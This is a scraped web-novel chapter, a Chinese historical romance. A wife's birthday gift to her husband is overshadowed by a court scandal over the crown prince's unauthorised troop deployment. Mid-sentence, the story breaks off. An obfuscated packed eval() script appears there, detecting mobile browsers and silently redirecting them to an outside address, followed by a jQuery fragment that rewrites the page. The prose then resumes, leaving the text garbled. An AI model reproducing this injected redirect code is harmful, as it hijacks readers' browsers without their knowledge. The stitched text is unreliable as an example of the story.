默认冷灰
24号文字
方正启体

34.尘嚣动

作者:错湍本书字数:K更新时间:
    祝秉青肯作个承诺,许革音愿意再信一信他。


    行宫住了一个月,还记得九月十一是祝秉青生辰。只是原先过来的时候有些不愉快,没有备着生辰礼,如今采买也都是锦衣卫一手置办,不太好意思麻烦。


    最后实在没了法子,寻思亲手做些点心,晚间再去溪边放个河灯祈愿。


    这会儿许革音正跟支风在小厨房里做点心,聊表心意,总归来日方长,以后仍有朝朝暮暮。


    糯米舂了半日,捏成型上锅蒸两炷香的时间,揭开锅盖白濛濛的热气扑出来,模糊了视线。


    已经是歇晌的时候,许革音担心晚了祝秉青又要出去,没等放凉便上手拿。方方正正的桂花糕尚还烫手,她翘着手指一个个捏出来,每一回都要先将烫红的手指吹一吹。


    摆好了盘端到厢房中的时候却扑了个空。


    床上仍然整洁,没有午睡过的痕迹,里里外外转了一圈儿,连他常常坐着看书的廊下也不曾见他,心道是不是又被哪位大人拉走了。


    许革音又回到外间,刚刚摆在桌子上的桂花糕还袅袅冒着热气。她看两眼,一口气要叹出来的时候才看见托盘底下露出来的一小角纸条,方才走得急,都没有注意到。


    她将纸条抽出来,是祝秉青的字迹,上面只有短短两行字:官务急召,先返。明日遣人接你。


    一般圣人行宫避暑的时候百官随行,除了那些实在离不得人的岗位,大多数官务都暂且搁置。急召也不是没有发生过,但家眷却是可以逗留至圣驾回程的时候,因而许革音来回看了两遍,不懂为什么他要她这个时候也跟着一起走。


    许革音又捏了捏纸条,视线垂下,落在尚有余热的糕点上,心下有些失落,不知道是因为他的不辞而别,还是因为再次错过的生辰。最终只是将刚刚没叹出来的那口气呼了出来。


    ——即使再匆忙,也该当面说一声才对。


    许革音中午惦记给他过生辰的事情,没吃多少,此刻将糕点看了又看,却并没有什么胃口。好半晌才拿了一块送到嘴边。


    她坐下来,视线落在纸条上,却在出神,眼睛都是虚的。


    特地等过了歇晌的时候,许革音才往大奶奶院子里去,提前离场总该先知会一声。


    大奶奶正和二奶奶一起坐在庭院树下的石桌旁,丫鬟来来回回穿行,像是在收拾东西。


    行宫门槛都有些高,一个丫鬟被绊一个踉跄,珠玉丁零当啷急促撞响一阵,大奶奶立刻皱了眉,训斥道:“当心些!”


    二奶奶在旁边掩唇笑了一声,道:“何须赶得这样急?她们也是被你吓到了,这才冒失。”


    “皇上和老爷都回程了,咱们还留在这里做什么?”大奶奶这句说完了眉眼又很有些笑意,并不似面前因她的吩咐而忙碌的丫鬟那般焦灼,“况且还是这样大的事情!”


    后半句虽压低了声音,尾调却扬着,像是有些幸灾乐祸的雀跃。


    许革音脚步顿了顿,上前向二人打了声招呼,叫支风将带过来的桂花糕放在石桌上。大奶奶视线只在碟子上停留一瞬,先是很高兴地招呼一声“侄媳妇来了”,又笑眼盈盈看过来,道:“难为你有心。”


    说着便伸手拿起糕点,咬下来一口还夸赞一句,“你亲手做的么?手艺倒是很不错呢。”


    许革音客气回了一句,转而问道:“大伯母二伯母这是要回府了吗?”


    大奶奶点点头,道:“可不是。百官皆离,我们这些内眷也不好久留——三哥儿没同你说么?”


    “倒是留了信儿,只是没有细说,因而不知道是大家一同走的。”


    “却也是不急的。”大奶奶手上又换了茶盏,凑到嘴边轻呷一口,语气和动作一样,很有些松弛,“你若想再留两天也是使得的。”


    许革音闻言又道跟着她们一道走便是,又陪着聊了半天,越聊心里却越有些稀里糊涂。


    圣人携众朝官回程,不该是个小事,但二位奶奶又十分悠闲,不像是山雨欲来的样子。


    -


    尽管刻意压着,但朝堂上的事情实在闹得有些大了。


    鞑靼去岁使人前来上供求和,歇了一阵子,前些时日却出其不备率兵出击,吞了关西一个边陲小镇。


    先前两边断断续续打了一年,都没讨着好,军队早就损失过半。好不容易都消停下来签了和平条约,关西便撤了半数将士,修养生息,布防稍怠,这回一下子被打了个猝不及防。


    虽说此番是鞑靼先背信弃义,但史书向来由赢家执笔,那边又很有些势不可挡,十分骇人,关西连夜派了千里马进京求援。


    原先戍边的武德将军也是年前班师回朝,如今都还在应天府,便是率军支援少则也要一个月开外。


    事关紧急,又是太子赵昭岩监国期间,不敢懈怠,当即下了令,越级无虎符调兵以解燃眉之困,事后却不知是不是耽搁了,拖了两天才派心腹禀告皇帝。


    这事儿处理得不漂亮,首尾未全,甚至令人质疑起储君能力起来。


    到头来不仅是惹了皇帝的猜忌,更不知怎的令武德将军不快。武夫也不管那些弯弯绕绕,一纸诉状送到了还在行宫避暑的圣人面前。


    ——太子竟是私底下又给镇守边疆的庆英王去信请求派兵了!


    庆英王是当今圣上的弟弟,但太子先是越级无虎符调兵,后又与宗亲密信往来,纸包不住火,朝中已有人煽风,诘问道这是否是在进行兵变预演,意图勾结宗室谋反?


    皇帝得知消息后便面色沉沉起驾回宫,隔天捋清来龙去脉,便将太子禁足在东宫。


    这些事情都是许革音这两日零零散散在府里听来的。


    照理说太子受罪牵涉到国之根本、储君易位,是个举足轻重的大事,下面的朝臣即使不是战战兢兢,也该谨言慎行。


    但正如那日在行宫里一样,许革音却莫名觉得左丞府上下竟然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028740|174115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比之往日更加松快,隐约有些幸灾乐祸。两次去大房二房时都能从里面听到欢声笑语,连偶尔一次在园子里遇到并肩走来的左丞和大爷,二人交谈时面上亦是容光焕发。


    “三少奶奶,爷刚回了,人正在书房呢。”借月从外面进来,弯下腰接她手里的银篦。


    许革音闻言回神,压下心里微妙的不对劲,起身将银篦搁置到桌子上,道:“拿件外衣来,甜汤还温着么?”


    从行宫回来已有三天,并没有再见到祝秉青。她此刻也不是要追根究底问到什么,只是府中这种割裂的状态让她觉得不安,很需要从他那里获得一些情绪上的托举。


    今夜无月,秋虫夜吟,片玉斋里书房灯还亮着,门没有关,远远能听到交谈声,随着走近渐渐清晰。


    祝秉青负手背对着门口站着,声音似淬了冰,“钦天监的那帮老糊涂真是昏了头了,什么话都说得出口。”


    墙倒众人推,事情显然有些棘手。旁边颓山的声音更低一些,说了两句后祝秉青回身将手上的书册“嘭”的一声丢到桌面上。


    他语气里很有些不耐,道:“哪还有空管这些?”


    颓山犹疑道:“那三司会审……”


    “去跟崇斯说一声,”祝秉青反指敲了敲桌案,“若圣人不提,便先往后压着。”


    许革音走到门槛外的时候停了一停,确定里面的两个人都听到了自己过来的脚步声,此刻侧首看过来,且并没有谢客的意思,这才带了甜汤进去。


    祝秉青原先轻轻皱拢的眉头以极其缓慢的速度微微松开,重新坐下去,默不作声然而很给面子地将甜汤两三口喝了,这才缓声道:“这么晚了还不歇着?”


    许革音觑着他的脸色,顿了一会儿才温声道:“这些时日很忙么?”


    祝秉青按着扳指的手指松开,往前一伸,将人拉过来,喉咙里“嗯”一声,捏着她的手指把玩,或轻或重,隐约有些疲于应付,“先回去歇息罢,过些时日陪你。”


    许革音抿了抿嘴唇,最后将微微发痛的手抽回来,从袖子里取出来一个如意玉佩,轻声道:“前些时日你的生辰,没来得及送你。”


    两扇槅门轻轻带上,里面烛光映出来的两道人影随着烛焰而晃荡,借月手上提着的灯笼也晃在许革音眼底。


    许革音头微微垂下去,看着前面脚下光影斑驳的青砖路,心里更加飘忽不定起来。


    涉及到储君的都不会是小事,眼下府里欢快然而祝秉青却焦头烂额,很有些分党而立的意思。


    且很显然,不管七皇子与此事究竟有没有干系,若非要站队,大房甚至是左丞都势必支持与自己有亲缘关系的赵昭诘,却不知道祝秉青是否为太子效忠。


    如今赵昭岩犯了这样的大错,稍有不慎都是废太子的处分。赵昭诘母家势大,届时若趁机上位,即便能容得下废太子,却未必能再信任其旧臣。


    一府里分两党向来都是大忌。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)